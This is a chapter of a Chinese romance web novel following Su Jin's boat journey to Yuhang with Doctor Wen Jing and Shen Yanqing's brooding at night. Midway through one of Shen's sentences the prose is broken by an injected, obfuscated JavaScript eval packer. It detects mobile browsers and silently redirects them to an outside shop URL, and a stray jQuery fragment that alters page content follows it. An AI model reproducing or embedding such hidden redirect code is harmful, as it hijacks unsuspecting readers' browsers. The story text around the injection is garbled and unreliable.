温景已经猜到苏锦多半想说的话,于是语气温和得像在哄一个怕疼的病人,“苏娘子请说,我听着。”
苏锦垂下眼睫,盯着自己脚尖前那一小块被晨光照亮的青砖地面,声音比平时低了些,“温大夫,你是个好人,而且是用了心的好人。”
说完这句话后,苏锦抬起眼来看他,这次那双杏眼里没有闪躲,只有一种坦诚到近乎直白的认真,“所以,温大夫,我不能住你温家的宅子,也不能让你在工钱之外再贴补我什么。你将来要娶妻成家,我更不能让人说闲话,反倒是坏了你的良缘。等到了余杭……工钱就按你说的给,另外我可否能住铺子后院的账房房?若是没有,我自己赁房子住也不是难事。”
她说完后,长长地呼出一口气,像是把这些话从心里搬出来之后整个人都轻松了一些,心里却已经做好了被他拒绝的准备。毕竟换了谁听了这一堆“条件”,大约都会觉得这人不知好歹,明明是求人帮忙,倒像在跟人谈买卖。
温景沉默片刻,抬起眼来看她的时候,脸上却完全没有她预想中的不悦或失望,反而带着一种她说不上的神情。像是心疼,又像是无奈,最后全化作一种温和到让人鼻子发酸的平静。
“苏娘子,你说的这些都是替我着想,我又有什么不好答应的。药铺后院有一间小空房,原是铺子的产业,也不算什么温家私宅,你住便是,房租从你月钱里扣……将来你若想走,我也绝三番四次找理由留你。”
苏锦听完,终于弯起嘴角,“温大夫,那三日后,南城码头,巳时。”
她说着,从袖中取出那张船票的草单。温景也从袖中摸出另一张同样的草单,两张并排放在窗沿边缘,纸上的炭笔字迹一左一右,一横一竖,像两条从同一个起点出发,却要去往同一个方向的路。
温景点头,“巳时,南城码头,我等你。”
***
苏锦离开临州的那个夜晚,月明星稀。巷口那棵老槐树的枝桠在夜空中尽情舒展着,叶子被月光照得银白发亮,好似镀上了一层薄薄的霜。白日里些微的热气已经彻底散尽,夜风从巷口灌进来,带着秋天特有的干燥和清凉,吹得晾在院子里的衣裳轻轻晃荡。
苏锦将包袱最后检查了一遍。
几件换洗衣裳叠得整整齐齐压在底层,一些打发时间用的书稿则用油纸裹好了塞在侧袋里,施老大夫配的几包药材都用细麻绳扎了两道,搁在最上面,方便随时取用。包袱的最底下,则是她用一条月白色的旧帕子包着的,那双断了虎须的虎头鞋和那几件被虫蛀了的小衣裳,她特意用帕子的四角打了结,裹得严严实实的放在最下层,像藏着一个不能再打开的伤口。
最后她用一支素银玉兰簪挽起长发,站起身来,将包袱挎上肩头,吹熄了这间小屋的灯。
今晚她没有惊动赵虎,即便赵虎前几日已经跟她提过,说要送她上船,但她摇摇头微笑说不必。
南城码头上泊着几艘过夜的货船和客船,桅杆上的灯笼在夜风中轻轻摇晃,将水面映出一片碎金般的光。苏锦找到自己要乘的那艘船时,船家正在船头借着月光补渔网,看见她一个年轻妇人独自前来,上下打量了一眼,目光在她隆起的肚子上停了片刻,然后像是恍然大悟一样放下渔网站起身来,“娘子,可是姓苏?”
苏锦点点头。船家便接过她手里的包袱,引她上了船,将她安排在靠窗的一个铺位,又端了一碗温热的红糖水来,“娘子是温大夫的……朋友?他提早来与我们说过,多多帮您一把,他很快就来。对了,夜里凉,娘子喝一碗热茶暖暖身子,很快开船。”
苏锦有些惊讶温景的贴心,她接过碗道了谢,将包袱搁在枕边,坐在铺位上看着窗外黑沉沉的河面。
月光落在水面上,碎成一片一片的银白色,随着水波轻轻荡着,好似谁在水底点了一盏灯。她伸手摸了摸发间的簪子,不知为什么指尖触上去的时候,她忽然想起沈宴清那张脸。
她不想想起他的,可偏生这个名字就像嵌在骨头里的刺,不去碰的时候相安无事,一碰便隐隐作痛。
而在临州城东沈宴清的私宅里,此刻也亮着灯。沈宴清坐在书案前,难得没有去管沈家那一堆事,想要分家的打算不是一两天的头脑之热,但苏锦的确是推动他下定决心的最后一根稻草,但真正想要完成这件事哪有这么简单。
沈晏清看着面前摊开的一幅画了半张脸的画像。那画上的女子侧身站在一扇窗前,发间簪着一朵玉兰花,衣袂被风吹起一角,露出裙下一点绣鞋的尖尖。
这画他已经画了大半个月,改了又改,揉了又画,始终画不出一张让他满意的。不是眉眼不像,就是神韵不对,画出来的女人要么太冷要么太媚,没有一个是她。他提笔想添几笔,笔尖悬在纸面上方,却迟迟落不下去,最终他还是选择将笔搁下,靠在椅背上阖了眼,伸手揉了揉自己的眉心。
平安端着一盏茶进来,看见他那个样子,小心翼翼地将茶搁在案角,“公子,夜深了,该歇了。”
沈宴清没有睁眼,“她今日怎么样?”
平安一愣,随即明白过来这个“她”指的是谁,垂手答道,“苏娘子今日在木器铺子里收拾了一整日,后来便没有再出来,看样子是早早歇息了。”
沈宴清睁开眼,目光落在案上那盏茶氤氲的热气上,“她这几日是不是有什么事瞒着我?”
平安犹豫了一下,“小的没听说什么……苏娘子每日待人接物也都是和和气气的,大约是月份大了,行动不便,所以除了偶尔去民堂,其他时间其实不怎么出门。”
沈宴清没有说话,只是将那张未画完画翻了个面扣在案上,随后起身走到窗前推开半扇窗。
夜风从窗外灌来,带着庭院里那几株桂花的甜香,他站在那里望着月色下模糊不清的街巷,忽然觉得胸口那团堵塞许久的东西在这一刻变成了一个实打实的洞,风从那个洞里灌进来,冷得他浑身发颤。他也不知这种感觉从何而来,只是隐隐觉得有什么东西正在从他指缝间溜走,而他连伸手去抓的机会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617907|203024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都没有。
***
船行两日,两岸的风光从繁华的城镇渐渐变成了连绵的山丘和散落的村落。苏锦大多数时候坐在靠窗的铺位上,要么看看书,要么看着窗外发呆。
这两日都是晴天,秋日的阳光透过窗纸落在船舱里,暖洋洋的,不晒人倒也不冷。船舱里有七八个客人,既有走南闯北的货商,也有探亲的青年,还有几个带着孩子的年轻母亲。孩子们在船舱里跑来跑去,笑闹声此起彼伏,苏锦偶尔会抬起头看他们一眼,然后不自觉露出些许发自内心的微笑。
第二日午后,船在一个叫菱湖的码头停靠补给。
菱湖是运河边上的一个小镇,不大,码头却热闹。船家说要停一夜,明早才开,客人们纷纷下船透气。苏锦也跟着下了船,在码头边找了一间茶棚坐下来,要了一碗清茶,将包袱搁在脚边,长长地呼出一口气。
这茶棚的棚顶是油布搭的,被日头晒得褪了色,边缘处垂下来几根布条,在风里轻轻摇晃。棚下摆着四五张矮桌,桌上搁着粗陶茶壶和几只豁了口的茶碗,地上铺了一层厚厚的瓜子壳和花生皮,踩上去吱吱作响。
苏锦端着茶碗抿了一口,茶水粗糙,但她也不嫌弃,等将茶碗搁回桌上,抬起头来,就看见茶棚里的另一个人。
那人穿着一件半旧的靛青布袍,袖口挽起半寸露出里面月白色的里衬,肩上挎着一只旧药箱,毫无疑问正是温景。
他的侧脸被午后的日光照得轮廓分明,眉目间有一种沉静温润的气度,在这嘈杂的码头茶棚里显得格外扎眼。他们约好的船期本就是同一艘,只是前两日他一直待在船舱里没有出来,两人就一直没碰上面。
她正要起身过去打招呼,那人正好放下茶碗抬起头来,目光落在她脸上,然后站起身来,拎着药箱走到她面前,在她对面坐下来。
“苏娘子。”温景说,“前两日在船舱里整理医书,没有出来走动,若有什么需要帮忙的地方,我也可以来搭手帮忙。”
许是之前她不想欠人情谊的态度太明显,所以温景才特意避免直接碰面。
苏锦当然也想通了这点,她将茶碗搁下,眉眼弯起,“若是需要帮助,那就要麻烦温大夫你了。”
两人又在茶棚里坐了一阵,说了些闲话。船要在菱湖停一夜,次日清晨,苏锦与温景一同上了船。两人在船舱里找了相邻的位置坐下,苏锦看着带来的闲书杂记,温景则是翻看一本泛黄的医书,两人偶尔说几句话,大多时候沉默着。
不过船上的客人倒是渐渐跟他们熟络起来,特别是那些走南闯北的货商,嘴碎得很,看见苏锦和温景坐在一起,一个看杂记一个看医书,便凑过来搭话,“二位是夫妻吧?都是有文化的,真是般配!”
苏锦正要开口解释,温景已经先说了话,“这位大哥误会了,我们是同乡,顺路同行。”
那货商“哦?”了一声,看看苏锦又看看温景,脸上露出一种“我不信但我不说了”的表情,端着茶碗又转了一圈才离开。